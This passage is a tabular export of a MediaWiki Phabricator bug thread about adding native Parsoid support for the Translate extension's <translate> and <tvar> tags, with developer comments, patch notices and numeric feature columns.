localizable errors while still ensuring round-tripping.

To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog."
50891,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"screenshot

Example: https://www.mediawiki.org/wiki/Communication

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: http://www.mediawiki.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=extensiontags
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50284

**Attached**: {F10855}",Medium,50.0,1369744440,1451432369.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_description,resolved,True,c1,1,True,False,False,-5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8627450980392157,0.35294117647058826,"screenshot

Example: URL

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL
**See Also**:
URL

**Attached**: {F10855}"
585177,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid will now wrap these appropriately with the proper typeof `mw:Extension/translate` and whatnot.

Support for the Translate extension in VE is still needed, but a separate task.",,,1451432369,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,130,,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,16.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.451612903225806,0.9354838709677419,"Parsoid will now wrap these appropriately with the proper typeof CODE and whatnot.

Support for the Translate extension in VE is still needed, but a separate task."
585107,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 261293 merged by jenkins-bot:
T50891: Register <translate> and <tvar> natively

[[https://gerrit.wikimedia.org/r/261293]]",,,1451423865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,130,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.5384615384615383,0.8076923076923077,"Change 261293 merged by jenkins-bot:
T50891: Register <translate> and <tvar> natively

[[GERRIT_URL]]"
584806,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 261293 had a related patch set uploaded (by Arlolra):
T50891: Register <translate> and <tvar> natively

[[https://gerrit.wikimedia.org/r/261293]]
",,,1451345650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,130,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,19.0,3.6129032258064515,0.8387096774193549,"Change 261293 had a related patch set uploaded (by Arlolra):
T50891: Register <translate> and <tvar> natively

[[GERRIT_URL]]
"
570976,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,">>! In T50891#1840365, @kaldari wrote:
> Any update on this?

A generic extension registration mechanism in Parsoid is one of our (parsing team) goals for this quarter and once that is done, we should be able to work on specific extensions. As noted in T50891#1002436, I think we can implement a parsoid-native version of this which adds annotations to the DOM that marks trees that need to be translated. VE and other tools can then use this to provide translation support by querying the API to manage translations.

I think we can get the extension part done within the next month or so, but the tools to build on top of that is something for VE and language team to work on.",,,1449004296,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,126,,0.0,1.0,0.0,1.5,0.0,4.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.5,0.0,2.0,13.0,1.0,4.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,1.5,0.0,12.0,2.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,1.5,0.0,4.5,3.0,7.0,0.0,3.5,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,3.5,13.0,2.0,0.0,0.0,0.0,3.5,0.0,2.0,1.0,0.0,1.5,0.0,0.0,0.0,4.0546875,0.8125,"QUOTE
QUOTE

A generic extension registration mechanism in Parsoid is one of our (parsing team) goals for this quarter and once that is done, we should be able to work on specific extensions. As noted in T50891#1002436, I think we can implement a parsoid-native version of this which adds annotations to the DOM that marks trees that need to be translated. VE and other tools can then use this to provide translation support by querying the API to manage translations.

I think we can get the extension part done within the next month or so, but the tools to build on top of that is something for VE and language team to work on."
570478,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Any update on this?,,,1448940120,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,126,,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Any update on this?
404559,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Since <translate> is a special extension that hooks into the parser pipeline in a way that is not visible to Parsoid, and also since it doesn't render anything new, but marks DOM fragments for translation, the ideal way to deal with this in the short term (till translation goes with a VE based approach) is to implement a native version of translate in Parsoid (just like Cite and planned Gallery extension).

This native translate will be relatively straightforward and will not do anything special beyond recognizing the <translate> and associated tags and marking up DOM fragments with a special typeof that clients like VE or gadgets or anyone could use to enable translation. In addition, it would also have to register a html2wt handler for serializing it back to wikitext.

This should not be a lot of work -- most of it will be in figuring out if there are any tricky things that the translate extension does. Talking to Niklas, we figured this is not high priority, but something worth tackling over the next 6 months.",,,1422567418,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,82,,0.5,2.0,0.0,0.0,2.5,7.5,3.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.5,0.5,1.0,5.0,15.5,2.0,2.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,0.0,5.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,1.0,1.0,0.0,11.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.5,1.0,0.0,6.5,4.0,7.0,2.5,4.5,9.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,2.5,15.5,4.5,0.0,0.0,0.0,2.5,0.0,1.5,3.5,0.0,3.0,0.0,0.5,1.0,4.290959595959595,0.7389898989898991,"Since <translate> is a special extension that hooks into the parser pipeline in a way that is not visible to Parsoid, and also since it doesn't render anything new, but marks DOM fragments for translation, the ideal way to deal with this in the short term (till translation goes with a VE based approach) is to implement a native version of translate in Parsoid (just like Cite and planned Gallery extension).

This native translate will be relatively straightforward and will not do anything special beyond recognizing the <translate> and associated tags and marking up DOM fragments with a special typeof that clients like VE or gadgets or anyone could use to enable translation. In addition, it would also have to register a html2wt handler for serializing it back to wikitext.

This should not be a lot of work -- most of it will be in figuring out if there are any tricky things that the translate extension does. Talking to Niklas, we figured this is not high priority, but something worth tackling over the next 6 months."
404106,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I had a chat with Subbu about this. In the short tem (this year) we could add configurable support for <translate> tags in parsoid. That support will preserve the tags and comments when pages are edited with VE. In the long term we will implement support for translatable pages without any kind of markup. Marking those pages for translation would only work with VE and it needs special page translation module in VE.,,,1422482506,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,82,,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,4.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,11.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,4.2073170731707314,0.7073170731707317,I had a chat with Subbu about this. In the short tem (this year) we could add configurable support for <translate> tags in parsoid. That support will preserve the tags and comments when pages are edited with VE. In the long term we will implement support for translatable pages without any kind of markup. Marking those pages for translation would only work with VE and it needs special page translation module in VE.
402925,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Kabhi2104 asked on #mediawiki-i18n:
> Nemo_bis:  i had one doubt, what does normal parser tags mean ?

Explained briefly from a non-technical perspective, this means that <translate> is a ""tag"" for the Translate extension, but the parser ""doesn't know"" it. A symptom is the absence from [[https://www.mediawiki.org/wiki/Special:Version|the list on Special:Version]].

Concretely, the parser deals with tags in ways that interfere with the Translate syntax, with some consequences identified in T50891#524894. But even in the current situation there are some limitations, especially for the newline, which [[https://meta.wikimedia.org/wiki/Help_talk:List#List-agnostic_markup_insertions|is meaningful for the parser and perhaps shouldn't be required]].

More broadly, one could speculate that most wikitext markup is meant to add or modify the HTML of the resulting page, or properties of the page in the database: while translate tags don't do either and are properties of the wikitext itself.",,,1422112321,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,81,,1.0,0.0,0.0,1.0,1.5,3.5,1.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.5,0.0,0.0,6.5,11.5,0.0,0.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,1.5,1.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,14.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,9.0,3.5,8.0,1.5,3.5,11.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,1.5,11.5,4.0,0.0,2.0,0.0,1.5,0.0,1.0,1.5,0.5,0.5,0.5,0.5,3.0,4.095238095238095,0.6904761904761905,"Kabhi2104 asked on #mediawiki-i18n:
QUOTE

Explained briefly from a non-technical perspective, this means that <translate> is a ""tag"" for the Translate extension, but the parser ""doesn't know"" it. A symptom is the absence from [[URL list on Special:Version]].

Concretely, the parser deals with tags in ways that interfere with the Translate syntax, with some consequences identified in T50891#524894. But even in the current situation there are some limitations, especially for the newline, which [[URL meaningful for the parser and perhaps shouldn't be required]].

More broadly, one could speculate that most wikitext markup is meant to add or modify the HTML of the resulting page, or properties of the page in the database: while translate tags don't do either and are properties of the wikitext itself."
226198,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"To be clear: there is nothing wrong with that patch itself, it just doesn't work due to limitations in the parser itself. I cannot continue with this patch/bug until I get help from other people to modify parser/parsoid.",,,1412577526,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,6.0,19.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.8125,0.8333333333333334,"To be clear: there is nothing wrong with that patch itself, it just doesn't work due to limitations in the parser itself. I cannot continue with this patch/bug until I get help from other people to modify parser/parsoid."
226191,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to Nemo from comment #43)
> (In reply to James Forrester from comment #42)
> > No patch any more. :-(
> 
> Hmm I'm not sure that's what ""Can be re-activated if there is outlook on
> getting this in a mergable state"" means, PATCH_TO_REVIEW seems a sensible
> way to tag such stale patches in need of TLC.

No. There is no patch to review for merge. There is patch to re-*do*.",,,1399802210,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5853658536585366,"(In reply to Nemo from comment #43)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No. There is no patch to review for merge. There is patch to re-*do*."
226186,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to James Forrester from comment #42)
> No patch any more. :-(

Hmm I'm not sure that's what ""Can be re-activated if there is outlook on getting this in a mergable state"" means, PATCH_TO_REVIEW seems a sensible way to tag such stale patches in need of TLC.",,,1399802137,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,18.0,7.0,0.0,4.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.5964912280701755,0.9298245614035088,"(In reply to James Forrester from comment #42)
QUOTE

Hmm I'm not sure that's what ""Can be re-activated if there is outlook on getting this in a mergable state"" means, PATCH_TO_REVIEW seems a sensible way to tag such stale patches in need of TLC."
226182,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,No patch any more. :-(,,,1399715908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,44,,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,1.0,No patch any more. :-(
226178,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 91583 abandoned by Siebrand:
Add $wgTranslatePageTranslationUseParserHook

Reason:
Abandoned as there is no progress on this patch set. Can be re-activated if there is outlook on getting this in a mergable state.

https://gerrit.wikimedia.org/r/91583",,,1397663477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,16.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.613636363636363,0.8181818181818182,"Change 91583 abandoned by Siebrand:
Add $wgTranslatePageTranslationUseParserHook

Reason:
Abandoned as there is no progress on this patch set. Can be re-activated if there is outlook on getting this in a mergable state.

GERRIT_URL"
226174,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #39)
> (In reply to comment #36)
> > Issues I have found:
> > 
> > * [MAJOR] Disabling edit section links does not work for headings inside
> > <translate> tags
> 
> You could try marking your output as HTML according to
> https://www.mediawiki.org/wiki/Manual:
> Tag_extensions#How_can_I_avoid_modification_of_my_extension.27s_HTML_output.
> 3F

This causes (lack of) whitespace issues and breaks all lists.

> I'm not sure whether that suppresses section edit links too, but worth a try
> IMO.

It doesn't.

> 
> > * [NORMAL] Edit section links don't work. Not a regression, but would be nice
> > fix. Above issue make this a bigger issue.
> > * [BLOCKER] Table of contents does not include links
> 
> Can you check whether your headings are matched by the formatHeadings regexp?

I'm assuming it processes the html I'm returning, which is:
<h2><span class=""mw-headline"" id=""Culture"">Culture</span><mw:editsection page=""Pupu"" section=""1"">Culture</mw:editsection></h2>

Not sure whether that matches or not.

> 
> Ideally we'd move both TOC and section edit links to JS / CSS. That is our
> plan
> for Parsoid output, but not going to happen over night.

Any changes for interim solutions?",,,1382781712,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,1.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,1.5,0.0,2.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,1.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,18.0,1.0,1.5,4.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,3.0,3.0,11.5,1.0,1.5,0.0,3.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,1.5,3.915254237288136,0.5593220338983051,"(In reply to comment #39)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This causes (lack of) whitespace issues and breaks all lists.

QUOTE
QUOTE

It doesn't.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm assuming it processes the html I'm returning, which is:
<h2><span class=""mw-headline"" id=""Culture"">Culture</span><mw:editsection page=""Pupu"" section=""1"">Culture</mw:editsection></h2>

Not sure whether that matches or not.

QUOTE
QUOTE
QUOTE
QUOTE

Any changes for interim solutions?"
226169,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #36)
> Issues I have found:
> 
> * [MAJOR] Disabling edit section links does not work for headings inside
> <translate> tags

You could try marking your output as HTML according to https://www.mediawiki.org/wiki/Manual:Tag_extensions#How_can_I_avoid_modification_of_my_extension.27s_HTML_output.3F

I'm not sure whether that suppresses section edit links too, but worth a try IMO.

> * [NORMAL] Edit section links don't work. Not a regression, but would be nice
> fix. Above issue make this a bigger issue.
> * [BLOCKER] Table of contents does not include links

Can you check whether your headings are matched by the formatHeadings regexp?

Ideally we'd move both TOC and section edit links to JS / CSS. That is our plan for Parsoid output, but not going to happen over night.",,,1382742193,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,1.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,1.0,4.0,1.0,0.0,2.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,2.0,4.0,4.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,7.0,11.0,7.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.6565656565656566,0.696969696969697,"(In reply to comment #36)
QUOTE
QUOTE
QUOTE
QUOTE

You could try marking your output as HTML according to URL

I'm not sure whether that suppresses section edit links too, but worth a try IMO.

QUOTE
QUOTE
QUOTE

Can you check whether your headings are matched by the formatHeadings regexp?

Ideally we'd move both TOC and section edit links to JS / CSS. That is our plan for Parsoid output, but not going to happen over night."
226164,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Editing translatable pages via API seems to work now.,,,1382609272,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.5,1.0,Editing translatable pages via API seems to work now.
226162,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Also, please test the patch if you can to see if you find any other changes in behavior.",,,1382609061,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,0.9,"Also, please test the patch if you can to see if you find any other changes in behavior."
226159,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Issues I have found:

* [MAJOR] Disabling edit section links does not work for headings inside <translate> tags
* [NORMAL] Edit section links don't work. Not a regression, but would be nice fix. Above issue make this a bigger issue.
* [BLOCKER] Table of contents does not include links
* [MINOR] White space trimming behavior has changed. The original logic cannot be implemented with information provided for the parser hook. You can see the buildup at bottom of http://dev.translatewiki.net/wiki/Extension:Translate compare with http://www.mediawiki.org/wiki/Help:Extension:Translate . This is annoying and would be nice to fix, but the workaround is to edit page source. Documentation about whitespace before has to be update if this way is chosen.

Please help me solve the remaining issues.",,,1382608843,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,1.5,2.5,4.0,3.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.0,0.5,6.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,16.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,4.5,10.5,0.5,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.5,0.0,0.0,2.0,9.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,1.5,0.5,0.0,7.0,3.918918918918919,0.7364864864864865,"Issues I have found:

* [MAJOR] Disabling edit section links does not work for headings inside <translate> tags
* [NORMAL] Edit section links don't work. Not a regression, but would be nice fix. Above issue make this a bigger issue.
* [BLOCKER] Table of contents does not include links
